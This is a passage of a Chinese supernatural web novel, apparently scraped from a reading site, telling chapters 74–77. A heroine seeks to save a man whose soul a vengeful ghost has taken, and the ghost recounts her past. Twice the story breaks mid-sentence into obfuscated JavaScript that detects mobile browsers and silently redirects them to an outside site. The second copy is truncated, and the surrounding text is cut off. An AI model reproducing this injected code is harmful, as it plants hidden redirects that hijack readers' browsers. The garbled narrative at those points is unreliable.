许修远扶着车子站了一会儿,才说道:“我没事了,先上车。” 就在这时,赵敬鸿拿着项链追了过来,看着许修远,试探性地问道:“是——许总吗?” 许修远对爷爷万分失望,看到赵敬鸿更是没好气,冷着一张脸,并不说话,而是从身上掏出了车钥匙,解了锁。 赵敬鸿看出现在是许修远,想要将装着项链的盒子交给他。 “许总,刚才的事情是我擅自做主,许老根本事先不知情,希望你不要误会他老先生。那条项链许老先生会继续派人去找的,这一条算是许老先生给许薇萍的补偿,如果——” 他瞥了一眼颜珺瑶,“如果沈新柔或许薇萍再次出现的话,麻烦许总把东西给她。” 一旁的颜珺瑶突然说道:“我不要这一条,这不是爸爸送给我的,我不要这一条。” 赵敬鸿眼底闪过一道精光,很快消失不见,而是换上十足的歉意看向颜珺瑶。 “许薇萍,这是你二哥哥给你的一点补偿,希望你收下——” 一边说着,一边要把盒子塞到颜珺瑶手里。 下一瞬,颜珺瑶蓦地痛苦地大叫了起来。 盒子“砰”地一声掉落到地上,露出了赵敬鸿手上那把带着血迹的黑刀。 原来是赵敬鸿借着盒子的遮掩,用这把刀割伤了颜珺瑶的胳膊。 * 颜珺瑶很快恢复了意识,皱着眉捂住胳膊,伤口不浅,血不停地往下流,整个人下意识往后退了又退,却撞上了车身。 许修远瞬间沉了脸,狠狠一拳揍向赵敬鸿的脸。 赵敬鸿要躲,但还是没躲开,一下子倒在地上,鼻子和嘴角都有血迹,看的出来许修远这一拳用足了力气。 令人没想到的是,他居然笑了起来。 他看着许修远,“许总太年轻了,你的善心被阴魂利用了,阴魂没有不害人的,不是好东西。我是伤了颜小姐,但许薇萍她已经被——啊——” 突然间,赵敬鸿瞪大了双眼,整个人像是喘不过气来一样,一张脸憋着通红,双手不停地抓绕着自己的脖子,不停地在地上挣扎着。 颜珺瑶很快反应过来,他是被沈新柔收拾了,难道—— 难道许薇萍真的已经魂飞魄散了吗? 大概是听到外面的动静,许忠林在宗叔的搀扶下赶了过来,震惊地看着赵敬鸿,手足无措。 “怎——怎么回事?” 许修远扶着颜珺瑶靠在自己身上,两人都不想回答许忠林的问题。 宗叔大着胆子走到赵敬鸿身边,但是刚弯下腰的一瞬,整个人突然往后弹开,幸好反应还算快,双手撑住了地面,才没有摔到头。 许修远手上一紧,松了口气,颜珺瑶惊恐地看着赵敬鸿在拼命挣扎,他脖子上的一道道血痕都是自己抓出来的,就在所有人不知所措之时,赵敬鸿突然就不动了。 颜珺瑶瞪大了双眸,颤抖着手紧紧挨着许修远和车身,赵敬鸿不会已经—— 许忠林悲切地大喊着:“赵敬鸿——” 宗叔不顾安危,再次蹲到了赵敬鸿边上,正要看看他是否还活着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259688|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就听到赵敬鸿长长地倒了一口气,立即又咳了起来。 很快,赵敬鸿蓦地笑了,把手伸进衣领里,拿出一个半圆形的玉,但紧接着他又扯出脖子上戴着的东西,上面只有半个圆。 是这块玉救了他。 活着就好,活着就好。 许忠林终于放了心,吩咐宗叔快去给司机打电话,把赵敬鸿送到医院处理一下。 许修远不想再做停留,扶着颜珺瑶坐进了副驾驶座,刚要关上车门,整个人瞬间倒在了地上。 毫无征兆。 颜珺瑶瞬间白了脸色,从车上跳了下去,跪在许修远身边,不停地喊他的名字,但对方毫无反应,又试探了他的鼻息,还有呼吸。 其他人也都慌乱了,赵敬鸿忍着疼,上前查看,很快有了结论。 “许总生魂离体了,肯定是沈新柔干的。” 一听这话,许忠林没撑住,也跟着晕了过去。 * 宗叔叫来了人,把几人都送到了医院。 许忠林是受到太大刺激,年纪大了,身体受不了,到了医院没多久就醒了过来。 但许修远这边,情况却不太乐观。 医生查不出任何问题,简而言之,就像是进入了深度睡眠一样。 许忠林打算连夜联系专家,请他们过来再检查一下,赵敬鸿却对他说不用请。 “没有用,最重要的是要找回生魂,现在医院能做的就是保持他的身体机能。” 许忠林老泪纵横,一直待在男主的身边,不愿意离开半步。 颜珺瑶的伤口有些深,医生给缝了针。 处理好伤口之后,立刻又去了许修远的病房。 刚走出电梯没多久,就迎面碰上了赵敬鸿。 两人皆是一愣,颜珺瑶别开了视线,不想理他,但赵敬鸿却突然对她说了声抱歉。 颜珺瑶已经没有体力跟他吵架了,冷冷地瞥了他一眼,便要绕过他。 如果不是他的那一刀,事情也不会到现在这个地步。可许忠林却仍然相信他,说明赵敬鸿的行为就是许忠林授意的。 赵敬鸿身上的伤还没来得及处理,特别是脖子上的抓痕,看清来有几分可怖。 他伸手拦了下她,“我知道颜小姐和许总关系匪浅,颜小姐也一定想救许总。” “你又想利用我引出沈新柔吗?你觉得她还会相信你们吗?明明按她说的去做,事情就可以了结,刚才为什么要这么做?” “颜小姐太年轻了,阴魂的话不能信,我曾经——” 颜珺瑶丝毫不想听他的废话,打断道:“我是不懂阴阳之术,但我知道阴魂生前也是人。你觉得自己做的没错是吗?那你能找回他的生魂吗?” 赵敬鸿抿了下干涩的唇,“我知道自己之前的方法可能不合适,我也承认自己的不足,但现在找回许总的生魂,很可能是需要颜小姐帮忙的。” “沈新柔没有那么傻,你还是先劝劝许老先生做到她的要求再说。” 话音未落,就直接绕过他走开。 * 已经将近凌晨十二点了,来到病房门口,颜珺瑶轻轻敲了门。 来开门的是宗叔,宗叔见到她,先关心了她的伤口怎么样了,颜珺瑶只简单说了句不要紧。 许忠林听到动静,很快瞥了她一眼,“颜小姐有心了,但他现在不会醒过来,颜小姐受伤了,还是先回去休息吧!” 颜珺瑶当然知道现在自己留下来帮不上任何忙,可她不能一直待在这里干等着,她必须做点什么,但她知道自己回去之后也是睡不着。 宗叔给她倒了杯温水,颜珺瑶捏着一次性纸杯,忍不住问许忠林:“许董是不是仍然坚持认为你的母亲还有大姐都没有害过人?” 许忠林的呼吸一瞬有些粗重,沉默良久才说道:“那只是她的一面之词,相关的人都已经作古,真相究竟是什么,谁也无法知道。可既然沈新柔一定要我相信,甚至现在还拿修远威胁我,所以我不得不承认。” “许修远告诉我,沈新柔那天晚上说过只要许家做了那四件事,过去的一切就一笔勾销,您今天为什么还要让赵敬鸿那么做?您难道就没想过惹怒了她们母女,事情会越来越糟吗? 就像现在这样,许修远不省人事地躺在这里,你后悔了吗?” 75. 第 75 章 许忠林深深吸了一口气,“沈新柔的嘴里就没有多少实话,当年刚进沈家的门就谎话连篇,冒充沈家的人。之后仗着父亲宠爱她,连我母亲都不放在眼里,特别是生了儿子之后,更是变本加厉,嘲笑我母亲,甚至想取而代之。 为什么家里的下人没有人愿意帮她,就是因为她不得人心!” 颜珺瑶觉得他满嘴谎话,“如果她真的是这样,那她为什么会答应把儿子记到你母亲的名下,成为你母亲的儿子呢?在那个年代的大家族生存,她还只是个姨太太,生儿子才会让她站稳脚跟,儿子才是她未来的指望。” 许忠林哼笑了一声,“颜小姐对女性真是有同理心,无论我怎么说,你都宁愿相信一个不是人的东西。 颜小姐只看到沈新柔母女的可怜,只觉得我们许家心狠,但她沈新柔和她父亲对我们许家做的事呢?我大姐的死,我的两个儿子,都没了。就算当年真的是我大姐把许薇萍带出去的,那修远的大伯和父亲有什么错呢? 她沈新柔和她的家人,同样心狠手辣,甚至有过之而不及。” 颜珺瑶反问,“许董跟我说的就没有一句假话吗?” “呵呵,果然是记者,能说会道。沈新柔如果没有目的,没有人可以逼她把儿子记到我母亲名下。因为她看中了我外祖家的财势,知道我母亲嫁妆丰厚,手上有不少钱,孩子记在我母亲名下,才能让孩子以后有更好的前程。而她,什么都不能给孩子。” 颜珺瑶辩驳道:“就算没有外祖家的帮忙,就凭当时许家的能力,孩子的前程也不会差到哪里去,许承望是你父亲的长子,是许家的孩子。” 许忠林冷哼了一声,“颜小姐会这么认为也无可厚非,但人性有时候是不能用逻辑思维来分析的。” 颜珺瑶沉默了片刻,“那条项链,真的早就被人丢了,还是你现在不愿意给沈新柔?” “项链我会继续派人去找,其他条件我也会亲自去做。人与鬼斗,没有胜算,我不会拿修远的性命开玩笑的。 如果颜小姐真的能再见到沈新柔,告诉她,我愿意代替修远去死,求她放过修远。老宗,派人送颜小姐回去。” 早干嘛去了。 颜珺瑶没有回答他的话,转身就离开了病房。 宗叔送她下楼,司机就在车上等着。 临上车前,宗叔十分抱歉地对颜珺瑶说道:“颜小姐,真的是对不起,我们老爷子有时候太偏执了,还请颜小姐也能想想办法,小远真的是个好孩子。” * 第二天一大早,颜珺瑶跟单位请了假,回到了乡下老家。 汤爷爷最后还是选择不动手术,谁劝都没用,直接撂下一句话,他给自己算过了,动手术也没用,他不想遭罪。于是在市里住了大半个月之后,再次回到了乡下,理由是喜欢清静。 颜珺瑶一回来,就敲开了汤明山的家门,和他说了许修远的情况。 “汤爷爷,你救救许修远,这段时间他在到处寻找项链,又担心最后如果真的找不到项链,特意去拍卖会拍了一条差不多年份,差不多款式的项链,就为了不想让萍萍失望。” 颜珺瑶心急如焚,定定地看着面前的老人,“汤爷爷,我真的担心哪天许忠林会查出来您就是沈新柔的亲人,到时候拿您和您的家人威胁沈新柔,如果真的这样了,那事情就没办法解决了。” 颜珺瑶一直苦苦哀求,但汤明山却全程没有说话,只是静静地听着。 最后她红着眼眶,只好无奈地离开,这时汤明山却突然开口了。 “这些事情和我无关,但那个孩子不会有事的。” 颜珺瑶瞬间又转过身,惊喜地问道:“那他什么时候能醒呢?” 汤明山笑道:“我没法知道,不过阴魂但凡提了条件,只要满足了她们的心愿,她们就会离开的。至于他多长时间能醒,就要看他家人了。” “如果那条项链真的找不到呢?那沈新柔会做什么?许修远就真的不能醒过来了吗?” “呵,我没法知道,你要去问他的家人。” 颜珺瑶垂着眼眸,想了想,又道:“汤爷爷,其实许修远初请来荣亿医生,跟张熙杰说的理由是想请您帮忙处理他家里的事情,事实上他是不想让熙杰卷入这件事,不想让他知道这件事,所以只能这么对他说。他一直没有告诉他爷爷,您就是沈新柔的家人。” * 颜珺瑶回了爷爷奶奶家里吃午饭,奶奶炖了鸡汤,又让她给隔壁的汤爷爷端了一碗过去。 吃午饭的时候,颜丙文才从山上回来,咕哝着抱怨前两天雨下的有点大。 昨天傍晚同村的一个老大爷路过门口,提醒爷爷奶奶,挨着太爷爷太奶奶的坟有些被雨水冲到了。 “我刚到山上看了看,下午还要请人来修补,这几年一直都好端端的,不知怎么今年就这样了。” 颜珺瑶有些心不在焉地应着,吃过午饭,就开车回了城里。 一回来,她先是给宗叔打了电话。 “修远还是没醒,但赵敬鸿今天给他换了个病房,说是之前的那间阳光太盛,影响回魂。之后又拿了不少东西去病房,进行喊魂,但还是没醒。” 颜珺瑶并没有回家,她直接去了严婆婆那里。 令她意外的是,严婆婆却不在家。 她跟邻居打听了一下,得知严婆婆被一辆豪车接走了。 她想到了什么,又立即给宗叔去了电话,严婆婆果然被许家的人请去了,说是今晚进行喊魂。 颜珺瑶赶紧又去了医院,进了许修远的新病房,严婆婆并不在,只有一位老宅的保姆阿姨在里头照看。 阿姨居然认得她,见到她进来,还站起来打了招呼,说许修远还没醒。 还跟颜珺瑶抱怨:“这孩子就是工作太累了,平时没注意身体。刚才她妈妈过来,哭得眼睛都肿了,现在正出去联系什么专家呢。” 颜珺瑶在病房待了大半个钟头,暮色笼罩,她正准备要走,许忠林就走了进来,身后还跟着一位中年妇人,光看长相就能知道这位应该就是许修远的母亲。 许修远的母亲确实双眼通红,但情绪还算稳定,见到颜珺瑶突然愣了一下。 一旁的宗叔立马就开口做了介绍,“颜珺瑶小姐,小远的朋友。” 梁舒惠朝颜珺瑶点点头,努力挤出一个笑容,说了一句:“多谢你来看我们小远。” 说完,她不经意地看了一眼许忠林,眼中似有不解。 颜珺瑶告辞离开,在她带上病房门的时候,就听到许忠林说道:“颜小姐不会把修远生病的事情说出去,你也别哭了,免得被人看出端倪。” 看来许家是对外保密了男主的事。 * 回到出租房,颜珺瑶思来想去,再次出了门,先去买了几摞纸钱,开车跟着导航去往许家的墓园。 之前许修远说过沈新柔和许薇萍母女的墓是在墓园的南面,于是下车后,打着手电筒,深一脚浅一脚地慢慢地找,心脏扑通扑通地跳,她是真的能听到自己的心跳。 以前小时候看恐怖片,很多片子里都会有这么一个情节,主角深夜一个人在山里,树林里或无人处走夜路之时,总是会出现莫名其妙的声音,引得主角惊慌失措。长大了之后就觉得这就是夸张手法,为了烘托恐怖的气氛,故意吓唬观众。 但现在,她一个人走在这里,即使她见过鬼,也被鬼附过身,但人类刻在DNA里的对黑暗,对未知的恐惧,还是让她浑身的汗毛都竖了起来,而且手心里全是汗。 恐怖片拍的并不夸张,因为她现在就是惊弓之鸟,一听到点什么动静,就要回去四处张望。 许家墓园之外也有其他的坟墓零零散散地分布着,没有什么规划。 颜珺瑶拿着手电筒一个个照着,每照到一个墓碑,她就要鞠躬道歉,说声打扰了,幸好一路都没有看到其他不认识的阴魂。 她的心一直悬着,终于在不知道鞠躬道歉多少次之后,找到了两个紧挨着的坟墓。 沈新柔,许薇萍。 她咽了咽口水,分别在两个墓碑前鞠了躬,而后开始烧纸钱。 一边烧,一边对着虚空说道:“沈新柔,我知道你和萍萍不是葬在这里的,这里只是衣冠冢而已。但你没有主动找我,我只能来这里祭拜你。 许修远的生魂离体了,我不知道是不是你做的,如果是你做的,能不能让他的生魂回去,如果不是你做的,能不能给我个提示,怎么样才能救他? 许修远在其他墓园买了两块墓地,他说如果你们母女以后不愿意离许家人太近,他就让人在那里给你们两人立两个衣冠冢。他是个是非分明的人,他希望这——” 蓦地,烧着的纸钱突然凭空就打起了转。 颜珺瑶下意识低呼一声,迅速跳开了,但身上还是难以避免地沾上了不少纸灰。 她一下子被呛到,咳了好几声,而后才继续蹲下来。 火星子并没有灭,她直接往里头放纸钱,却听到背后猛地响起一个陌生的声音。 “这么晚,你一个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她一时不知道该说什么,思忖了良久,才终于说道:“谢谢你放过许修远,这辈子我都会祭拜你和萍萍的。” 沈新柔突然笑了下,颜珺瑶蓦地有些尴尬,抓了抓脸,“我一定会做到的,只要我活着,每年我都会来的。” “你是为了许修远,还是因为同情我们母女?” “都有。” 沈新柔问道:“你为了他大半夜跑到这里,还承诺要一直祭拜我们母女,是因为喜欢他?” 颜珺瑶犹豫了片刻,“我是挺喜欢他的,不过更是因为他帮过我,信任我。” 沈新柔叹了口气说道:“我相信你能做到,你和你们家的长辈一样,信守承诺,而且一点点恩情都会铭刻心上。他太爷爷负了我,希望这孩子以后能好好对你。” 她盈盈迈了一小步,颜珺瑶终于看清了她的脸,一时竟有些恍惚。 沈新柔的脸上现出幽远哀伤的神情,缓缓说起恍如昨日的那些事情。 “一开始许君平确实对我挺好的,他和他的妻子是家族联姻,他说自己反抗不了,成婚以后两人的感情就很一般。而且赵珺惠自从生了双胞胎女儿之后,就一直没有身孕,家里人都很着急。许君平说赵珺惠看了不少医生,中医西医,甚至去烧香拜佛,但多年都没能生个儿子。 我和他是无意间认识的,他主动追求我,后来我被他感动了,而且我也喜欢他,就和他在一起了。可那时候我并不知道他家里有太太,我刚来城里没多久,根本不清楚许家是个什么样的家族,以为他就是个家境富裕的富家公子。 在一起之后他就向我坦白了他的情况,说他对太太并没有感情,家里同意他再娶一个。我心动了,因为我爱他,而且他能让我过上更好的生活。我回家告诉了爹娘,他们都不同意,特别是我爹,不愿意我给别人当姨娘,特别是许家这样的大家族。 因为许君平的太太是赵家的大小姐,连她爹的姨娘都敢收拾,甚至他爹的其中一个姨娘莫名其妙地不见了,但谁都不敢说什么。这个姨娘失踪之后,赵家就发生了一些奇怪的事情,赵珺惠的祖父请了先生处理了才没事。不过赵珺惠根本不把这件事放在心上,还给了那位先生脸色看。 我爹是个木匠,但也略懂一些阴阳之术,到处帮人干活谋生,所以听说了不少传闻,这些也是他从一位同行那里听来的,所以他极力反对我进许家,而且还是当姨娘。他还告诉我很多大家族的姨娘和古代的妾室没什么两样,就是用来生孩子的,在外人眼里风光,但实际上在家里并没有地位而言。 可我那时候一根筋,犟得很,而且满脑子都是即将和许君平在一起的美好生活,于是便和父亲大吵了一架,说了很多不中听的话。最后父亲失望地对我说,只要我敢进许家的门,以后就不准再回家,过得好或不好都得自己受着。我赌气地对父母说,不回家就不回家,我也不想回家,我以后就有新家了。” 76. 第 76 章 “多么讽刺!” 沈新柔自嘲地笑了两声,继续说了起来。 “很快许君平就安排我学习外语,学习钢琴,学习穿衣打扮,又给了我一个新身份,理由是家里长辈喜欢书香世家出来的孩子,否则他们不会答应。我也照做了,甚至那么多年一直藏着自己真实的身份,大概我骨子里也是看不起自己的出生,短暂的上流社会生活,遮蔽了双眼,眼盲,心也盲。 进门后,我发现许君平的父亲得病,却久治不愈,虽然不会要命,但也不好受。我为了讨好家里的长辈,便悄悄打听了我爹干活的地方,但等到我去了之后,却没找到我爹,我就知道他是故意不见我。我心里憋着气,之后很长时间就真的不再和家里有任何联系。 很快我就有了身孕,许君平对我愈发疼爱。承望出生时,许君平无比激动,说这是他的第一个儿子,承载了他这辈子所有的希望。至于赵珺惠,我一开始并没有觉得她有我父亲说的那么厉害,只是觉得她比较高傲,对人的态度比较冷淡。在长辈和许君平面前对我倒是有一丝笑脸,不过私下里碰上却是根本不正眼瞧我,而且她身边的下人也不拿我当回事,不过一直倒也相安无事。 可孩子满月时,赵珺惠却罕见地去看了我,还给孩子送了礼物。我当时还很纳闷,后来等到孩子两个多月时,我才知道她葫芦里到底卖的什么药。不知道她是怎么说服许君平的,总之许君平就一直劝我把孩子记在赵珺惠的名下,由她来抚养,说什么族里的长辈都有这个意思,记在赵珺惠的名下就是名正言顺的长子,以后赵家那边也会把这孩子当做唯一的外孙,帮助这孩子。 我死活不同意,可许君平告诉我,族里的长辈一直在给他施压,如果他没有由正妻生的儿子,那他就没有资格继承家业。我心软了,也担心因为自己一直不答应,真的影响了许君平在家里的地位,以及他对我的疼爱。 承望抱给赵珺惠之后,赵珺惠确实对他视如己出,只是不让我接近孩子,我清楚她是担心孩子对我有依恋,认人,她就不好带了。可我怎么可能会不想见自己的孩子,但赵珺惠身边多少下人啊,而且她嫁进许家多年,很多下人都不敢不听她的话,她总有办法让我见不到孩子,最后还让许君平劝我。 三个月之后,赵珺惠突然怀上了孩子,我以为这下子就能把孩子还给我了,但赵珺惠不愿意,许君平也不同意,说是都已经上了族谱,族里的长辈也都见证过这件事了,怎么能说改就改。 在赵珺惠孕期五个月,也就是孩子一周岁的时候,许君平的父亲病逝了,赵珺惠顶着大肚子,不顾身边人劝阻,操持了老爷子的葬礼,所有人都对她敬佩有加,说她是许家的好儿媳,肚子里的孩子将来也不是个普通人。 在这一点上,我也确实佩服上,好不容易怀上的孩子,竟然敢这么冒险,不过她确实赌赢了,赢得了好名声,所以后面发生那两件事的时候,族里的长辈都站在她那边,根本不相信我说的话。 大概是因为太过辛劳,身体还是受了影响,赵珺惠九个月的时候早产了,生下了一个儿子,也就是许忠林。因为孩子早产,身体不太好,所以家里所有人的注意力都在这个孩子身上,我就趁机提出要把承望接回身边,赵珺惠第一次骂了我,我气不过争辩了几句,可事后许君平却说了我,让我这时候别去添乱,就算要提这件事,也要等到许忠林满月了。 我一听许君平这话,以为他终于同意把孩子还给我了,我就度日如年地等啊,可却等来了孩子的死讯,就在许忠林满月的前一天,我的承望没了。 当时承望感冒了,照顾她的保姆说一直按医生说的给孩子喂药,她也丝毫不敢有所松懈,可她也不清楚孩子怎么就突然没了。我大闹起来,许君平请了医生来家里,医生说承望应该是有先天性心脏病,但之前没发病,所以一直没察觉。 我根本就不相信,我就觉得孩子的死一定跟赵珺惠有关,许君平却告诉我,许忠林还不知道能不能活下来,就算赵珺惠真的担心许承望和许忠林争夺家产,也该在许忠林健康长大之后,否则赵珺惠岂不是一个儿子都没了。 赵珺惠知道我怀疑她,她就又请了两个医生来查看,说法基本都一致。我觉得那几个医生都被她或者是赵家收买过了,我坚持要报警,赵珺惠也同意报警,说是还自己清白,可族里的长辈却死活不同意。一是传出去的话,外人会认为许君平连家务事都处理不好,闹到了警局,许家成了别人口中的下酒菜,让人津津乐道,传来传去还不知道会变成什么样子,影响许家的名声。 二是族里的长辈不能接受解刨,他们认为是对已故之人的亵渎,大不敬,让承望死后还要遭罪,无法安心地离去。而且他们还认为法医和医生没什么区别,医生都说了是心脏病发,那一定不会有错。 但我还是不信,许君平就亲自去外地请了一个医生,结果还是一样,我真的有些动摇了,可内心深处还是没法消除对赵珺惠的怀疑。族里的长辈要求让承望早日入土为安,赵珺惠再次操持了孩子的身后事。自从孩子没了之后,赵珺惠和我一样伤心痛苦,表面功夫真的做的够好的,所以当时除了我,没有人怀疑她。 我一直在暗中地询问那些下人,可没有查出什么来,许君平体谅我的丧子之痛,多次带我出去散心。 承望没了五个月之后,我意外又有了身孕,让我的痛苦稍稍得到了缓解,可承望的死我一直放在心上,只是苦于没有找到证据。萍萍出生之后,我的生活开始慢慢好转了,许君平自从承望没了之后,就一直陪在我身边,只要他在家里,就没再去过赵珺惠房里。 也是在萍萍出生之后,我开始重新联系家里人,给家里写信,给家里送点东西,让他们知道我的情况。虽然父母一直没有原谅我,没有给我回过信,但好歹是没有拒收过我让人送去的东西。 我慢慢从痛苦里走了出来,但赵珺惠终于忍不住露出了真面目,明里暗里给我使绊子,可许君平一直站在我这边,不相信我会做那些腌臜事。许君平最疼爱的孩子就是萍萍,我知道他是将对承望的爱弥补在了萍萍身上。赵珺惠的两个女儿见到我从来没有好脸色,但是却愿意偶尔和萍萍一起玩,我太蠢了,当时的我竟然没有多留个心眼,只觉得那对双胞胎也只是孩子而已。 可萍萍就是被我眼中的孩子害死的,许曼珍这个贱人,她一定是早就计划好了,特意选在了许君平带我出门的时候,把萍萍骗了出去,然后把一个四岁大的孩子扔在了马路上,自己一个人离开了。我的萍萍就这么没了,她才四岁,她死前都还在找爸爸妈妈,她该有多害怕,她才四岁——” 沈新柔再次哭了起来,颜珺瑶又感觉到了耳鸣和心脏瞬间的绞痛,但很快消失了,沈新柔停止了哭声,又接着说了下去。 “一开始家里只说是保姆没有照顾好,要追究保姆的责任,那个保姆也承认自己没照顾好孩子,一直跪在我面前。我几近崩溃,一个人跑到了警局报警,许君平很快就赶了过来把我接回家去。 后来警察也调查了萍萍的车祸,发现确实是意外,但是肇事的那辆车却一直没找到,开车的人更是不知道是谁。许君平同时也亲自调查,总算是把那辆车找到了,是一辆新车,已经遗弃在郊外的树林里。开车的人大概是听说了自己撞的人是许家的孩子,就弃车逃跑了,没有了后续。 可突然有人在我的包里给我塞了个纸条,我这才得知原来那天是许曼珍把萍萍偷偷带出去的,那个贱人事 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谁知道他到底是不是真的调查了,即使他查出了真相,为了所谓的家族名声,为了保住大女儿,许君平也会这么做的。 我哀求他,每次他来看我,我都苦苦哀求他,可他还是不愿意相信我的话,甚至说要送我去国外待上两年,冷静冷静,之后再回来。我知道自己只要出去了,肯定就回不来了,不是死了就是再次被关起来。我不能去,因为我还没为萍萍讨回公道。 许君平最后不愿意再看到我,就几乎不来看我,我每天被关在房间里,能见到的只有送饭的人,那时候我真的怀疑自己要被逼疯了。直到那个小丫头偷偷来看我,把当年承望去世的真相告诉了我,让我一定要坚持下去,想办法出去,为两个孩子报仇。 我确实不能让他们得逞,赵珺惠就是想要把我逼疯,这样她所做的事情就再也没有人提起了。我振作了起来,提出想见许君平一面,也服了软,但不知道是许君平不想见我,还是送饭的人故意不转达我的要求,总之最后就是没见到他。 最后的指望破灭了,万念俱灰,唯有一死,来震慑许家。 我有时候恍惚啊,怀疑许君平是否真的爱过我,但临死前我彻底放下了这个男人。他确实对我好过,但在家族名声面前,我就成了可有可无之人,可承望和萍萍是他的亲生骨肉啊,他居然能那么狠心。不管他是否真的对我有过感情,还是仅仅只是想让我给他生孩子,这一切都不重要了。 只有报仇,才能瞑目。” 沈新柔缓缓地念出了那句话,“我死之后,必成厉鬼,许家上下,终日不安,断子绝孙。 我确实搅得许家不安,但他们许家祖上阴德,庇佑了子孙,出了许修远这个孩子,也许是天意吧!” 颜珺瑶怔怔地看着沈新柔,良久才问道:“萍萍她现在——” 沈新柔转过了身,没有回答她的问题,“谢谢你听我说了这么多,好几十年了,终于有人听我说这些话,还愿意相信我。孩子,你未来会有好报的。” “我——我可以为你和萍萍做点什么吗?” 沈新柔定住了,低垂着头,似乎是在想什么,而后才摇了摇头,“不用了,孩子,你赶紧走吧!” 颜珺瑶忍不住问道:“许修远他——什么时候能醒过来呢?” 沈新柔侧过脸,瞄了她一眼,“他不会有事的,你赶紧走!” 话音未落,她就已经消失了。 颜珺瑶呆愣愣地看着她消失的位置,好一会儿才回过神来在灰烬上踩了几脚,确定没有了火星子,就拎着剩下的纸钱往回走了。 刚走了没多远,就听到了一阵急匆匆的脚步声,还有光源晃着,有不少人往她这个方向过来了。 77. 第 77 章 颜珺瑶吓了一跳,刚关掉了手电筒,要往旁边躲一躲,就听到对面有人大喝了一声,“谁在哪里?” 她脚步一顿,一下子就不敢出声了。 大半夜的,这么一群人来这里做什么? 她赶紧往右手边跑去,但没想到的是后面的人居然紧追不舍。 颜珺瑶正从口袋里摸出了那瓶胡椒水,却听到了一道熟悉的男声。 “颜小姐?颜珺瑶!” “不用追了,我认识。” 颜珺瑶脚步一顿,赵敬鸿? 她转过身,手里还是抓着那瓶胡椒水,打开手电筒,仔细一瞧,还真是他。 她稍稍松了口气,“你怎么在这?” “你怎么在这?”赵敬鸿同时也问道。 颜珺瑶不想回答他,又问道:“你们追我做什么?这里又不是私人墓园,外人不让进的地方。” 有病,快吓死她了。 赵敬鸿笑着解释道:“我们是来找许总的,严九香前辈说许总现在是在山上,在几座坟墓附近一直在绕着,他被困在了那里。” 严婆婆的话,颜珺瑶还是相信的。可沈新柔会把许修远困在这里吗? 她直觉没有这么简单。 赵敬鸿突然问道:“颜小姐要一起过去看看吗?” 颜珺瑶犹豫了片刻,瞅了眼不远处几个身形高大的男人,应该是许家的保镖。 她问道:“除了你,还有谁过来?” “还有严九香前辈,以及许老先生。” 说着,赵敬鸿就转身往回走,“颜小姐,走吧!” 颜珺瑶只好跟上,没走了多久,赵敬鸿蓦地停下了脚步,转身看着她。 “颜小姐为什么在这里?” 他踢了下脚边的塑料袋,哗啦一阵声响,“是来祭拜沈新柔的吗?” 那是她刚才扔掉的袋子。 颜珺瑶白了他一眼,没好气地说道:“你们不是都让我帮忙想办法吗?她不主动出现,我只能来这里求她。” 赵敬鸿又问:“那颜小姐见到沈新柔了吗?” “没有,她凭什么听我的话。” 赵敬鸿没再说什么,转身继续往前去。 等到他们来到沈新柔坟前时,颜珺瑶看到了严婆婆,还有许忠林,以及永远跟在他身边的宗叔。 严婆婆已经开始喊魂了,手上拿着一根系着红绳的香,烟气袅袅,就听到严婆婆嘴里喊着:“许修远,快回来,你爷爷就在这里,快回来,许修远,别迷了路,跟你爷爷回家去。” 严婆婆喊了好一会儿,那根香已经燃了一半了,但似乎什么都没发生,烟气仍是往上飘着,偶尔被夜风吹散。 严婆婆叹了口气,“这里怕是没有啊——” 许忠林顿时大声喊道:“小远,爷爷在这里,跟爷爷回家去啊,小远——” 苍老的声音跟着烟气四处散开,直到那根香烧到红绳了,严婆婆才摇了摇头,“这里确实没有。” 颜珺瑶打算离开,但却见赵敬鸿趴在许忠林耳边不知说了什么,随后许忠林就踉跄地来到她面前。 “麻烦颜小姐试一试,说不定能行——” “……” 这可能吗?你是他的至亲都不能把他叫回来,自己跟他只是朋友,难道就行了? 而且严婆婆说的是这里没有,许修远的生魂不在这里,喊破喉咙也无济于事啊! 不过颜珺瑶还是没有拒绝,答应了要求。 严婆婆又重新拿了一根香,再次系上红绳,颜珺瑶注意到这次严婆婆把红绳系在那根香的中间位置。 赵敬鸿突然要求让颜珺瑶拿着那根香,严婆婆冷着一张脸,把香直接递到赵敬鸿面前。 “要不你来?” 赵敬鸿有些悻悻的,说了声“抱歉,您请继续”,便退开了。 严婆婆把香点燃,又开始喊了,几声过后,她示意颜珺瑶接着喊。 颜珺瑶清了清嗓子,喊道:”许修远,你在不在这里?我们来接你回家去,许修远——” 就那么几句话翻来覆去地喊了十来分钟,红绳被烧到了,严婆婆让她不用喊了,这烟气的方向丝毫没变,许修远肯定不在这里。 许忠林身形晃动,好半晌才缓了过来,吩咐不远处跟着的人好生送严婆婆上车。 严婆婆大步流星地转身就走,第一个往山下走去,一个身材魁梧的男人紧跟在后面护送。 所有人都往山下去,严婆婆率先坐进了一辆车子,司机立即就开车离开了这里。 颜珺瑶看了一眼手机,已经快一点了。 揉了揉太阳穴,刚要打开车门,一个保镖却突然把车门按住了。 她心头一跳,转身一看,身后又是一个保镖。 她暗骂了两声,怒视着许忠林,大声道:“许董,你又要做什么?是又打算把我关起来吗?我来这里的路上可都有监控。” * 许忠林慢悠悠地走了过来,笑道:“刚才颜小姐祭拜沈新柔,她出现了吗?颜小姐和她说了什么?” 颜珺瑶的视线从赵敬鸿脸上划过,“我确实想见她,求她放过许修远,但她没有出现。” 许忠林一瞬不瞬地盯着她:“你撒谎,你一定见到她了。” “太可笑了,我是她什么人吗?我想见她就能见到?” 赵敬鸿这时候说话了:“颜小姐,你明知道这里是座空坟,为什么来这里祭拜?” 